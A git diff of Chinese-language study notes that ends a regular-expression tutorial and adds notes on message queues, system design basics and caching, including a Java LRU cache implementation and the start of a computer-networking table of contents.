|
||||
## 匹配特定的字符类别
|
||||
|
||||
### 1. 数字元字符
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| :---: | :---: |
|
||||
| \d | 数字字符,等价于 [0-9] |
|
||||
| \D | 非数字字符,等价于 [^0-9] |
|
||||
|
||||
### 2. 字母数字元字符
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| :---: | :---: |
|
||||
| \w | 大小写字母,下划线和数字,等价于 [a-zA-Z0-9\_] |
|
||||
| \W | 对 \w 取非 |
|
||||
|
||||
### 3. 空白字符元字符
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| :---: | :---: |
|
||||
| \s | 任何一个空白字符,等价于 [\f\n\r\t\v] |
|
||||
| \S | 对 \s 取非 |
|
||||
|
||||
\x 匹配十六进制字符,\0 匹配八进制,例如 \x0A 对应 ASCII 字符 10,等价于 \n。
|
||||
|
||||
# 五、重复匹配
|
||||
|
||||
- **\+** 匹配 1 个或者多个字符
|
||||
- **\** * 匹配 0 个或者多个
|
||||
- **?** 匹配 0 个或者 1 个
|
||||
|
||||
**应用**
|
||||
|
||||
匹配邮箱地址。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
[\w.]+@\w+\.\w+
|
||||
```
|
||||
|
||||
[\w.] 匹配的是字母数字或者 . ,在其后面加上 + ,表示匹配多次。在字符集合 [ ] 里,. 不是元字符;
|
||||
|
||||
**匹配结果**
|
||||
|
||||
**abc.def<span>@</span>qq.com**
|
||||
|
||||
- **{n}** 匹配 n 个字符
|
||||
- **{m, n}** 匹配 m\~n 个字符
|
||||
- **{m,}** 至少匹配 m 个字符
|
||||
|
||||
\* 和 + 都是贪婪型元字符,会匹配最多的内容。在后面加 ? 可以转换为懒惰型元字符,例如 \*?、+? 和 {m, n}? 。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
a.+c
|
||||
```
|
||||
|
||||
由于 + 是贪婪型的,因此 .+ 会匹配更可能多的内容,所以会把整个 abcabcabc 文本都匹配,而不是只匹配前面的 abc 文本。用懒惰型可以实现匹配前面的。
|
||||
|
||||
**匹配结果**
|
||||
|
||||
**abcabcabc**
|
||||
|
||||
# 六、位置匹配
|
||||
|
||||
## 单词边界
|
||||
|
||||
**\b** 可以匹配一个单词的边界,边界是指位于 \w 和 \W 之间的位置;**\B** 匹配一个不是单词边界的位置。
|
||||
|
||||
\b 只匹配位置,不匹配字符,因此 \babc\b 匹配出来的结果为 3 个字符。
|
||||
|
||||
## 字符串边界
|
||||
|
||||
**^** 匹配整个字符串的开头,**$** 匹配结尾。
|
||||
|
||||
^ 元字符在字符集合中用作求非,在字符集合外用作匹配字符串的开头。
|
||||
|
||||
分行匹配模式(multiline)下,换行被当做字符串的边界。
|
||||
|
||||
**应用**
|
||||
|
||||
匹配代码中以 // 开始的注释行
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
^\s*\/\/.*$
|
||||
```
|
||||
|
||||
<div align="center"> <img src="../pics//600e9c75-5033-4dad-ae2b-930957db638e.png"/> </div><br>
|
||||
|
||||
**匹配结果**
|
||||
|
||||
1. public void fun() {
|
||||
2. **// 注释 1**
|
||||
3. int a = 1;
|
||||
4. int b = 2;
|
||||
5. **// 注释 2**
|
||||
6. int c = a + b;
|
||||
7. }
|
||||
|
||||
# 七、使用子表达式
|
||||
|
||||
使用 **( )** 定义一个子表达式。子表达式的内容可以当成一个独立元素,即可以将它看成一个字符,并且使用 * 等元字符。
|
||||
|
||||
子表达式可以嵌套,但是嵌套层次过深会变得很难理解。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
(ab){2,}
|
||||
```
|
||||
|
||||
**匹配结果**
|
||||
|
||||
**ababab**
|
||||
|
||||
**|** 是或元字符,它把左边和右边所有的部分都看成单独的两个部分,两个部分只要有一个匹配就行。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
(19|20)\d{2}
|
||||
```
|
||||
|
||||
**匹配结果**
|
||||
|
||||
1. **1900**
|
||||
2. **2010**
|
||||
3. 1020
|
||||
|
||||
**应用**
|
||||
|
||||
匹配 IP 地址。
|
||||
|
||||
IP 地址中每部分都是 0-255 的数字,用正则表达式匹配时以下情况是合法的:
|
||||
|
||||
- 一位数字
|
||||
- 不以 0 开头的两位数字
|
||||
- 1 开头的三位数
|
||||
- 2 开头,第 2 位是 0-4 的三位数
|
||||
- 25 开头,第 3 位是 0-5 的三位数
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
((25[0-5]|(2[0-4]\d)|(1\d{2})|([1-9]\d)|(\d))\.){3}(25[0-5]|(2[0-4]\d)|(1\d{2})|([1-9]\d)|(\d))
|
||||
```
|
||||
|
||||
**匹配结果**
|
||||
|
||||
1. **192.168.0.1**
|
||||
2. 00.00.00.00
|
||||
3. 555.555.555.555
|
||||
|
||||
# 八、回溯引用
|
||||
|
||||
回溯引用使用 **\n** 来引用某个子表达式,其中 n 代表的是子表达式的序号,从 1 开始。它和子表达式匹配的内容一致,比如子表达式匹配到 abc,那么回溯引用部分也需要匹配 abc 。
|
||||
|
||||
**应用**
|
||||
|
||||
匹配 HTML 中合法的标题元素。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
\1 将回溯引用子表达式 (h[1-6]) 匹配的内容,也就是说必须和子表达式匹配的内容一致。
|
||||
|
||||
```
|
||||
<(h[1-6])>\w*?<\/\1>
|
||||
```
|
||||
|
||||
**匹配结果**
|
||||
|
||||
1. **<h1>x</h1>**
|
||||
2. **<h2>x</h2>**
|
||||
3. <h3>x</h1>
|
||||
|
||||
## 替换
|
||||
|
||||
需要用到两个正则表达式。
|
||||
|
||||
**应用**
|
||||
|
||||
修改电话号码格式。
|
||||
|
||||
**文本**
|
||||
|
||||
313-555-1234
|
||||
|
||||
**查找正则表达式**
|
||||
|
||||
```
|
||||
(\d{3})(-)(\d{3})(-)(\d{4})
|
||||
```
|
||||
|
||||
**替换正则表达式**
|
||||
|
||||
在第一个子表达式查找的结果加上 () ,然后加一个空格,在第三个和第五个字表达式查找的结果中间加上 - 进行分隔。
|
||||
|
||||
```
|
||||
($1) $3-$5
|
||||
```
|
||||
|
||||
**结果**
|
||||
|
||||
(313) 555-1234
|
||||
|
||||
## 大小写转换
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| :---: | :---: |
|
||||
| \l | 把下个字符转换为小写 |
|
||||
| \u| 把下个字符转换为大写 |
|
||||
| \L | 把\L 和\E 之间的字符全部转换为小写 |
|
||||
| \U | 把\U 和\E 之间的字符全部转换为大写 |
|
||||
| \E | 结束\L 或者\U |
|
||||
|
||||
**应用**
|
||||
|
||||
把文本的第二个和第三个字符转换为大写。
|
||||
|
||||
**文本**
|
||||
|
||||
abcd
|
||||
|
||||
**查找**
|
||||
|
||||
```
|
||||
(\w)(\w{2})(\w)
|
||||
```
|
||||
|
||||
**替换**
|
||||
|
||||
```
|
||||
$1\U$2\E$3
|
||||
```
|
||||
|
||||
**结果**
|
||||
|
||||
aBCd
|
||||
|
||||
# 九、前后查找
|
||||
|
||||
前后查找规定了匹配的内容首尾应该匹配的内容,但是又不包含首尾匹配的内容。向前查找用 **?=** 来定义,它规定了尾部匹配的内容,这个匹配的内容在 ?= 之后定义。所谓向前查找,就是规定了一个匹配的内容,然后以这个内容为尾部向前面查找需要匹配的内容。向后匹配用 ?<= 定义(注: javaScript 不支持向后匹配, java 对其支持也不完善)。
|
||||
|
||||
**应用**
|
||||
|
||||
查找出邮件地址 @ 字符前面的部分。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
\w+(?=@)
|
||||
```
|
||||
|
||||
**结果**
|
||||
|
||||
**abc** @qq.com
|
||||
|
||||
对向前和向后查找取非,只要把 = 替换成 ! 即可,比如 (?=) 替换成 (?!) 。取非操作使得匹配那些首尾不符合要求的内容。
|
||||
|
||||
# 十、嵌入条件
|
||||
|
||||
## 回溯引用条件
|
||||
|
||||
条件判断为某个子表达式是否匹配,如果匹配则需要继续匹配条件表达式后面的内容。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
子表达式 (\\() 匹配一个左括号,其后的 ? 表示匹配 0 个或者 1 个。 ?(1) 为条件,当子表达式 1 匹配时条件成立,需要执行 \) 匹配,也就是匹配右括号。
|
||||
|
||||
```
|
||||
(\()?abc(?(1)\))
|
||||
```
|
||||
|
||||
**结果**
|
||||
|
||||
1. **(abc)**
|
||||
2. **abc**
|
||||
3. (abc
|
||||
|
||||
## 前后查找条件
|
||||
|
||||
条件为定义的首尾是否匹配,如果匹配,则继续执行后面的匹配。注意,首尾不包含在匹配的内容中。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
?(?=-) 为前向查找条件,只有在以 - 为前向查找的结尾能匹配 \d{5} ,才继续匹配 -\d{4} 。
|
||||
|
||||
```
|
||||
\d{5}(?(?=-)-\d{4})
|
||||
```
|
||||
|
||||
**结果**
|
||||
|
||||
1. **11111**
|
||||
2. 22222-
|
||||
3. **33333-4444**
|
||||
|
||||
# 参考资料
|
||||
|
||||
- BenForta. 正则表达式必知必会 [M]. 人民邮电出版社, 2007.
|
81
docs/notes/消息队列.md
Normal file
81
docs/notes/消息队列.md
Normal file
@ -0,0 +1,81 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、消息模型](#一消息模型)
|
||||
* [点对点](#点对点)
|
||||
* [发布/订阅](#发布订阅)
|
||||
* [二、使用场景](#二使用场景)
|
||||
* [异步处理](#异步处理)
|
||||
* [流量削锋](#流量削锋)
|
||||
* [应用解耦](#应用解耦)
|
||||
* [三、可靠性](#三可靠性)
|
||||
* [发送端的可靠性](#发送端的可靠性)
|
||||
* [接收端的可靠性](#接收端的可靠性)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、消息模型
|
||||
|
||||
## 点对点
|
||||
|
||||
消息生产者向消息队列中发送了一个消息之后,只能被一个消费者消费一次。
|
||||
|
||||
<div align="center"> <img src="../pics//685a692f-8f76-4cac-baac-b68e2df9a30f.jpg"/> </div><br>
|
||||
|
||||
## 发布/订阅
|
||||
|
||||
消息生产者向频道发送一个消息之后,多个消费者可以从该频道订阅到这条消息并消费。
|
||||
|
||||
<div align="center"> <img src="../pics//ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg"/> </div><br>
|
||||
|
||||
发布与订阅模式和观察者模式有以下不同:
|
||||
|
||||
- 观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,发布者与订阅者不知道对方的存在,它们之间通过频道进行通信。
|
||||
- 观察者模式是同步的,当事件触发时,主题会调用观察者的方法,然后等待方法返回;而发布与订阅模式是异步的,发布者向频道发送一个消息之后,就不需要关心订阅者何时去订阅这个消息,可以立即返回。
|
||||
|
||||
<div align="center"> <img src="../pics//bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg"/> </div><br>
|
||||
|
||||
# 二、使用场景
|
||||
|
||||
## 异步处理
|
||||
|
||||
发送者将消息发送给消息队列之后,不需要同步等待消息接收者处理完毕,而是立即返回进行其它操作。消息接收者从消息队列中订阅消息之后异步处理。
|
||||
|
||||
例如在注册流程中通常需要发送验证邮件来确保注册用户身份的合法性,可以使用消息队列使发送验证邮件的操作异步处理,用户在填写完注册信息之后就可以完成注册,而将发送验证邮件这一消息发送到消息队列中。
|
||||
|
||||
只有在业务流程允许异步处理的情况下才能这么做,例如上面的注册流程中,如果要求用户对验证邮件进行点击之后才能完成注册的话,就不能再使用消息队列。
|
||||
|
||||
## 流量削锋
|
||||
|
||||
在高并发的场景下,如果短时间有大量的请求到达会压垮服务器。
|
||||
|
||||
可以将请求发送到消息队列中,服务器按照其处理能力从消息队列中订阅消息进行处理。
|
||||
|
||||
## 应用解耦
|
||||
|
||||
如果模块之间不直接进行调用,模块之间耦合度就会很低,那么修改一个模块或者新增一个模块对其它模块的影响会很小,从而实现可扩展性。
|
||||
|
||||
通过使用消息队列,一个模块只需要向消息队列中发送消息,其它模块可以选择性地从消息队列中订阅消息从而完成调用。
|
||||
|
||||
# 三、可靠性
|
||||
|
||||
## 发送端的可靠性
|
||||
|
||||
发送端完成操作后一定能将消息成功发送到消息队列中。
|
||||
|
||||
实现方法:
|
||||
|
||||
- 在本地数据库建一张消息表,将消息数据与业务数据保存在同一数据库实例里,这样就可以利用本地数据库的事务机制。事务提交成功后,将消息表中的消息转移到消息队列中,若转移消息成功则删除消息表中的数据,否则继续重传。
|
||||
|
||||
## 接收端的可靠性
|
||||
|
||||
接收端能够从消息队列成功消费一次消息。
|
||||
|
||||
两种实现方法:
|
||||
|
||||
- 保证接收端处理消息的业务逻辑具有幂等性:只要具有幂等性,那么消费多少次消息,最后处理的结果都是一样的。
|
||||
- 保证消息具有唯一编号,并使用一张日志表来记录已经消费的消息编号。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
|
||||
- [消息队列中点对点与发布订阅区别](https://blog.csdn.net/lizhitao/article/details/47723105)
|
2362
docs/notes/算法.md
Normal file
2362
docs/notes/算法.md
Normal file
File diff suppressed because it is too large
Load Diff
109
docs/notes/系统设计基础.md
Normal file
109
docs/notes/系统设计基础.md
Normal file
@ -0,0 +1,109 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、性能](#一性能)
|
||||
* [二、伸缩性](#二伸缩性)
|
||||
* [三、扩展性](#三扩展性)
|
||||
* [四、可用性](#四可用性)
|
||||
* [五、安全性](#五安全性)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、性能
|
||||
|
||||
## 性能指标
|
||||
|
||||
### 1. 响应时间
|
||||
|
||||
指某个请求从发出到接收到响应消耗的时间。
|
||||
|
||||
在对响应时间进行测试时,通常采用重复请求方式,然后计算平均响应时间。
|
||||
|
||||
### 2. 吞吐量
|
||||
|
||||
指系统在单位时间内可以处理的请求数量,通常使用每秒的请求数来衡量。
|
||||
|
||||
### 3. 并发用户数
|
||||
|
||||
指系统能同时处理的并发用户请求数量。
|
||||
|
||||
在没有并发存在的系统中,请求被顺序执行,此时响应时间为吞吐量的倒数。例如系统支持的吞吐量为 100 req/s,那么平均响应时间应该为 0.01s。
|
||||
|
||||
目前的大型系统都支持多线程来处理并发请求,多线程能够提高吞吐量以及缩短响应时间,主要有两个原因:
|
||||
|
||||
- 多 CPU
|
||||
- IO 等待时间
|
||||
|
||||
使用 IO 多路复用等方式,系统在等待一个 IO 操作完成的这段时间内不需要被阻塞,可以去处理其它请求。通过将这个等待时间利用起来,使得 CPU 利用率大大提高。
|
||||
|
||||
并发用户数不是越高越好,因为如果并发用户数太高,系统来不及处理这么多的请求,会使得过多的请求需要等待,那么响应时间就会大大提高。
|
||||
|
||||
## 性能优化
|
||||
|
||||
### 1. 集群
|
||||
|
||||
将多台服务器组成集群,使用负载均衡将请求转发到集群中,避免单一服务器的负载压力过大导致性能降低。
|
||||
|
||||
### 2. 缓存
|
||||
|
||||
缓存能够提高性能的原因如下:
|
||||
|
||||
- 缓存数据通常位于内存等介质中,这种介质对于读操作特别快;
|
||||
- 缓存数据可以位于靠近用户的地理位置上;
|
||||
- 可以将计算结果进行缓存,从而避免重复计算。
|
||||
|
||||
### 3. 异步
|
||||
|
||||
某些流程可以将操作转换为消息,将消息发送到消息队列之后立即返回,之后这个操作会被异步处理。
|
||||
|
||||
# 二、伸缩性
|
||||
|
||||
指不断向集群中添加服务器来缓解不断上升的用户并发访问压力和不断增长的数据存储需求。
|
||||
|
||||
## 伸缩性与性能
|
||||
|
||||
如果系统存在性能问题,那么单个用户的请求总是很慢的;
|
||||
|
||||
如果系统存在伸缩性问题,那么单个用户的请求可能会很快,但是在并发数很高的情况下系统会很慢。
|
||||
|
||||
## 实现伸缩性
|
||||
|
||||
应用服务器只要不具有状态,那么就可以很容易地通过负载均衡器向集群中添加新的服务器。
|
||||
|
||||
关系型数据库的伸缩性通过 Sharding 来实现,将数据按一定的规则分布到不同的节点上,从而解决单台存储服务器的存储空间限制。
|
||||
|
||||
对于非关系型数据库,它们天生就是为海量数据而诞生,对伸缩性的支持特别好。
|
||||
|
||||
# 三、扩展性
|
||||
|
||||
指的是添加新功能时对现有系统的其它应用无影响,这就要求不同应用具备低耦合的特点。
|
||||
|
||||
实现可扩展主要有两种方式:
|
||||
|
||||
- 使用消息队列进行解耦,应用之间通过消息传递进行通信;
|
||||
- 使用分布式服务将业务和可复用的服务分离开来,业务使用分布式服务框架调用可复用的服务。新增的产品可以通过调用可复用的服务来实现业务逻辑,对其它产品没有影响。
|
||||
|
||||
# 四、可用性
|
||||
|
||||
## 冗余
|
||||
|
||||
保证高可用的主要手段是使用冗余,当某个服务器故障时就请求其它服务器。
|
||||
|
||||
应用服务器的冗余比较容易实现,只要保证应用服务器不具有状态,那么某个应用服务器故障时,负载均衡器将该应用服务器原先的用户请求转发到另一个应用服务器上,不会对用户有任何影响。
|
||||
|
||||
存储服务器的冗余需要使用主从复制来实现,当主服务器故障时,需要提升从服务器为主服务器,这个过程称为切换。
|
||||
|
||||
## 监控
|
||||
|
||||
对 CPU、内存、磁盘、网络等系统负载信息进行监控,当某个数据达到一定阈值时通知运维人员,从而在系统发生故障之前及时发现问题。
|
||||
|
||||
## 服务降级
|
||||
|
||||
服务降级是系统为了应对大量的请求,主动关闭部分功能,从而保证核心功能可用。
|
||||
|
||||
# 五、安全性
|
||||
|
||||
要求系统在应对各种攻击手段时能够有可靠的应对措施。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 大型网站技术架构:核心原理与案例分析
|
285
docs/notes/缓存.md
Normal file
285
docs/notes/缓存.md
Normal file
@ -0,0 +1,285 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、缓存特征](#一缓存特征)
|
||||
* [二、LRU](#二lru)
|
||||
* [三、缓存位置](#三缓存位置)
|
||||
* [四、CDN](#四cdn)
|
||||
* [五、缓存问题](#五缓存问题)
|
||||
* [六、数据分布](#六数据分布)
|
||||
* [七、一致性哈希](#七一致性哈希)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、缓存特征
|
||||
|
||||
## 命中率
|
||||
|
||||
当某个请求能够通过访问缓存而得到响应时,称为缓存命中。
|
||||
|
||||
缓存命中率越高,缓存的利用率也就越高。
|
||||
|
||||
## 最大空间
|
||||
|
||||
缓存通常位于内存中,内存的空间通常比磁盘空间小的多,因此缓存的最大空间不可能非常大。
|
||||
|
||||
当缓存存放的数据量超过最大空间时,就需要淘汰部分数据来存放新到达的数据。
|
||||
|
||||
## 淘汰策略
|
||||
|
||||
- FIFO(First In First Out):先进先出策略,在实时性的场景下,需要经常访问最新的数据,那么就可以使用 FIFO,使得最先进入的数据(最晚的数据)被淘汰。
|
||||
|
||||
- LRU(Least Recently Used):最近最久未使用策略,优先淘汰最久未使用的数据,也就是上次被访问时间距离现在最久的数据。该策略可以保证内存中的数据都是热点数据,也就是经常被访问的数据,从而保证缓存命中率。
|
||||
|
||||
# 二、LRU
|
||||
|
||||
以下是基于 双向链表 + HashMap 的 LRU 算法实现,对算法的解释如下:
|
||||
|
||||
- 访问某个节点时,将其从原来的位置删除,并重新插入到链表头部。这样就能保证链表尾部存储的就是最近最久未使用的节点,当节点数量大于缓存最大空间时就淘汰链表尾部的节点。
|
||||
- 为了使删除操作时间复杂度为 O(1),就不能采用遍历的方式找到某个节点。HashMap 存储着 Key 到节点的映射,通过 Key 就能以 O(1) 的时间得到节点,然后再以 O(1) 的时间将其从双向队列中删除。
|
||||
|
||||
```java
|
||||
public class LRU<K, V> implements Iterable<K> {
|
||||
|
||||
private Node head;
|
||||
private Node tail;
|
||||
private HashMap<K, Node> map;
|
||||
private int maxSize;
|
||||
|
||||
private class Node {
|
||||
|
||||
Node pre;
|
||||
Node next;
|
||||
K k;
|
||||
V v;
|
||||
|
||||
public Node(K k, V v) {
|
||||
this.k = k;
|
||||
this.v = v;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public LRU(int maxSize) {
|
||||
|
||||
this.maxSize = maxSize;
|
||||
this.map = new HashMap<>(maxSize * 4 / 3);
|
||||
|
||||
head = new Node(null, null);
|
||||
tail = new Node(null, null);
|
||||
|
||||
head.next = tail;
|
||||
tail.pre = head;
|
||||
}
|
||||
|
||||
|
||||
public V get(K key) {
|
||||
|
||||
if (!map.containsKey(key)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
Node node = map.get(key);
|
||||
unlink(node);
|
||||
appendHead(node);
|
||||
|
||||
return node.v;
|
||||
}
|
||||
|
||||
|
||||
public void put(K key, V value) {
|
||||
|
||||
if (map.containsKey(key)) {
|
||||
Node node = map.get(key);
|
||||
unlink(node);
|
||||
}
|
||||
|
||||
Node node = new Node(key, value);
|
||||
map.put(key, node);
|
||||
appendHead(node);
|
||||
|
||||
if (map.size() > maxSize) {
|
||||
Node toRemove = removeTail();
|
||||
map.remove(toRemove.k);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private void unlink(Node node) {
|
||||
|
||||
Node pre = node.pre;
|
||||
Node next = node.next;
|
||||
|
||||
pre.next = next;
|
||||
next.pre = pre;
|
||||
|
||||
node.pre = null;
|
||||
node.next = null;
|
||||
}
|
||||
|
||||
|
||||
private void appendHead(Node node) {
|
||||
Node next = head.next;
|
||||
node.next = next;
|
||||
next.pre = node;
|
||||
node.pre = head;
|
||||
head.next = node;
|
||||
}
|
||||
|
||||
|
||||
private Node removeTail() {
|
||||
|
||||
Node node = tail.pre;
|
||||
|
||||
Node pre = node.pre;
|
||||
tail.pre = pre;
|
||||
pre.next = tail;
|
||||
|
||||
node.pre = null;
|
||||
node.next = null;
|
||||
|
||||
return node;
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public Iterator<K> iterator() {
|
||||
|
||||
return new Iterator<K>() {
|
||||
private Node cur = head.next;
|
||||
|
||||
@Override
|
||||
public boolean hasNext() {
|
||||
return cur != tail;
|
||||
}
|
||||
|
||||
@Override
|
||||
public K next() {
|
||||
Node node = cur;
|
||||
cur = cur.next;
|
||||
return node.k;
|
||||
}
|
||||
};
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
# 三、缓存位置
|
||||
|
||||
## 浏览器
|
||||
|
||||
当 HTTP 响应允许进行缓存时,浏览器会将 HTML、CSS、JavaScript、图片等静态资源进行缓存。
|
||||
|
||||
## ISP
|
||||
|
||||
网络服务提供商(ISP)是网络访问的第一跳,通过将数据缓存在 ISP 中能够大大提高用户的访问速度。
|
||||
|
||||
## 反向代理
|
||||
|
||||
反向代理位于服务器之前,请求与响应都需要经过反向代理。通过将数据缓存在反向代理,在用户请求反向代理时就可以直接使用缓存进行响应。
|
||||
|
||||
## 本地缓存
|
||||
|
||||
使用 Guava Cache 将数据缓存在服务器本地内存中,服务器代码可以直接读取本地内存中的缓存,速度非常快。
|
||||
|
||||
## 分布式缓存
|
||||
|
||||
使用 Redis、Memcache 等分布式缓存将数据缓存在分布式缓存系统中。
|
||||
|
||||
相对于本地缓存来说,分布式缓存单独部署,可以根据需求分配硬件资源。不仅如此,服务器集群都可以访问分布式缓存,而本地缓存需要在服务器集群之间进行同步,实现难度和性能开销上都非常大。
|
||||
|
||||
## 数据库缓存
|
||||
|
||||
MySQL 等数据库管理系统具有自己的查询缓存机制来提高查询效率。
|
||||
|
||||
# 四、CDN
|
||||
|
||||
内容分发网络(Content distribution network,CDN)是一种互连的网络系统,它利用更靠近用户的服务器从而更快更可靠地将 HTML、CSS、JavaScript、音乐、图片、视频等静态资源分发给用户。
|
||||
|
||||
CDN 主要有以下优点:
|
||||
|
||||
- 更快地将数据分发给用户;
|
||||
- 通过部署多台服务器,从而提高系统整体的带宽性能;
|
||||
- 多台服务器可以看成是一种冗余机制,从而具有高可用性。
|
||||
|
||||
<div align="center"> <img src="../pics//15313ed8-a520-4799-a300-2b6b36be314f.jpg"/> </div><br>
|
||||
|
||||
# 五、缓存问题
|
||||
|
||||
## 缓存穿透
|
||||
|
||||
指的是对某个一定不存在的数据进行请求,该请求将会穿透缓存到达数据库。
|
||||
|
||||
解决方案:
|
||||
|
||||
- 对这些不存在的数据缓存一个空数据;
|
||||
- 对这类请求进行过滤。
|
||||
|
||||
## 缓存雪崩
|
||||
|
||||
指的是由于数据没有被加载到缓存中,或者缓存数据在同一时间大面积失效(过期),又或者缓存服务器宕机,导致大量的请求都到达数据库。
|
||||
|
||||
在有缓存的系统中,系统非常依赖于缓存,缓存分担了很大一部分的数据请求。当发生缓存雪崩时,数据库无法处理这么大的请求,导致数据库崩溃。
|
||||
|
||||
解决方案:
|
||||
|
||||
- 为了防止缓存在同一时间大面积过期导致的缓存雪崩,可以通过观察用户行为,合理设置缓存过期时间来实现;
|
||||
- 为了防止缓存服务器宕机出现的缓存雪崩,可以使用分布式缓存,分布式缓存中每一个节点只缓存部分的数据,当某个节点宕机时可以保证其它节点的缓存仍然可用。
|
||||
- 也可以进行缓存预热,避免在系统刚启动不久由于还未将大量数据进行缓存而导致缓存雪崩。
|
||||
|
||||
## 缓存一致性
|
||||
|
||||
缓存一致性要求数据更新的同时缓存数据也能够实时更新。
|
||||
|
||||
解决方案:
|
||||
|
||||
- 在数据更新的同时立即去更新缓存;
|
||||
- 在读缓存之前先判断缓存是否是最新的,如果不是最新的先进行更新。
|
||||
|
||||
要保证缓存一致性需要付出很大的代价,缓存数据最好是那些对一致性要求不高的数据,允许缓存数据存在一些脏数据。
|
||||
|
||||
# 六、数据分布
|
||||
|
||||
## 哈希分布
|
||||
|
||||
哈希分布就是将数据计算哈希值之后,按照哈希值分配到不同的节点上。例如有 N 个节点,数据的主键为 key,则将该数据分配的节点序号为:hash(key)%N。
|
||||
|
||||
传统的哈希分布算法存在一个问题:当节点数量变化时,也就是 N 值变化,那么几乎所有的数据都需要重新分布,将导致大量的数据迁移。
|
||||
|
||||
## 顺序分布
|
||||
|
||||
将数据划分为多个连续的部分,按数据的 ID 或者时间分布到不同节点上。例如 User 表的 ID 范围为 1 \~ 7000,使用顺序分布可以将其划分成多个子表,对应的主键范围为 1 \~ 1000,1001 \~ 2000,...,6001 \~ 7000。
|
||||
|
||||
顺序分布相比于哈希分布的主要优点如下:
|
||||
|
||||
- 能保持数据原有的顺序;
|
||||
- 并且能够准确控制每台服务器存储的数据量,从而使得存储空间的利用率最大。
|
||||
|
||||
# 七、一致性哈希
|
||||
|
||||
Distributed Hash Table(DHT) 是一种哈希分布方式,其目的是为了克服传统哈希分布在服务器节点数量变化时大量数据迁移的问题。
|
||||
|
||||
## 基本原理
|
||||
|
||||
将哈希空间 [0, 2<sup>n</sup>-1] 看成一个哈希环,每个服务器节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后,存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
|
||||
|
||||
<div align="center"> <img src="../pics//68b110b9-76c6-4ee2-b541-4145e65adb3e.jpg"/> </div><br>
|
||||
|
||||
一致性哈希在增加或者删除节点时只会影响到哈希环中相邻的节点,例如下图中新增节点 X,只需要将它前一个节点 C 上的数据重新进行分布即可,对于节点 A、B、D 都没有影响。
|
||||
|
||||
<div align="center"> <img src="../pics//66402828-fb2b-418f-83f6-82153491bcfe.jpg"/> </div><br>
|
||||
|
||||
## 虚拟节点
|
||||
|
||||
上面描述的一致性哈希存在数据分布不均匀的问题,节点存储的数据量有可能会存在很大的不同。
|
||||
|
||||
数据不均匀主要是因为节点在哈希环上分布的不均匀,这种情况在节点数量很少的情况下尤其明显。
|
||||
|
||||
解决方式是通过增加虚拟节点,然后将虚拟节点映射到真实节点上。虚拟节点的数量比真实节点来得多,那么虚拟节点在哈希环上分布的均匀性就会比原来的真实节点好,从而使得数据分布也更加均匀。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 大规模分布式存储系统
|
||||
- [缓存那些事](https://tech.meituan.com/cache_about.html)
|
||||
- [一致性哈希算法](https://my.oschina.net/jayhu/blog/732849)
|
||||
- [内容分发网络](https://zh.wikipedia.org/wiki/%E5%85%A7%E5%AE%B9%E5%82%B3%E9%81%9E%E7%B6%B2%E8%B7%AF)
|
||||
- [How Aspiration CDN helps to improve your website loading speed?](https://www.aspirationhosting.com/aspiration-cdn/)
|
1078
docs/notes/计算机操作系统.md
Normal file
1078
docs/notes/计算机操作系统.md
Normal file
File diff suppressed because it is too large
Load Diff
900
docs/notes/计算机网络.md
Normal file
900
docs/notes/计算机网络.md
Normal file
@ -0,0 +1,900 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、概述](#一概述)
|
||||
* [网络的网络](#网络的网络)
|
||||
* [ISP](#isp)
|
||||
* [主机之间的通信方式](#主机之间的通信方式)
|
||||
* [电路交换与分组交换](#电路交换与分组交换)
|
||||
* [时延](#时延)
|
||||
* [计算机网络体系结构](#计算机网络体系结构)
|
||||
* [二、物理层](#二物理层)
|
||||
* [通信方式](#通信方式)
|
||||
* [带通调制](#带通调制)
|
||||
* [三、数据链路层](#三数据链路层)
|
||||
* [基本问题](#基本问题)
|
||||
* [信道分类](#信道分类)
|
||||
* [信道复用技术](#信道复用技术)
|
||||
* [CSMA/CD 协议](#csmacd-协议)
|
||||
* [PPP 协议](#ppp-协议)
|
||||
* [MAC 地址](#mac-地址)
|
||||
* [局域网](#局域网)
|
||||
* [以太网](#以太网)
|
||||
* [交换机](#交换机)
|
||||
* [虚拟局域网](#虚拟局域网)
|
||||
* [四、网络层](#四网络层)
|
||||
* [概述](#概述)
|
||||
* [IP 数据报格式](#ip-数据报格式)
|
||||
* [IP 地址编址方式](#ip-地址编址方式)
|
||||
* [地址解析协议 ARP](#地址解析协议-arp)
|
||||
